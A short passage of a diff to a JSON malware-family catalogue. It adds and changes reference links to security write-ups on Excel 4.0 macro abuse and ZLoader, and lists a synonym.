"https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", + "https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex" ], "synonyms": [ "DELoader", @@ -49546,8 +52169,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob", - 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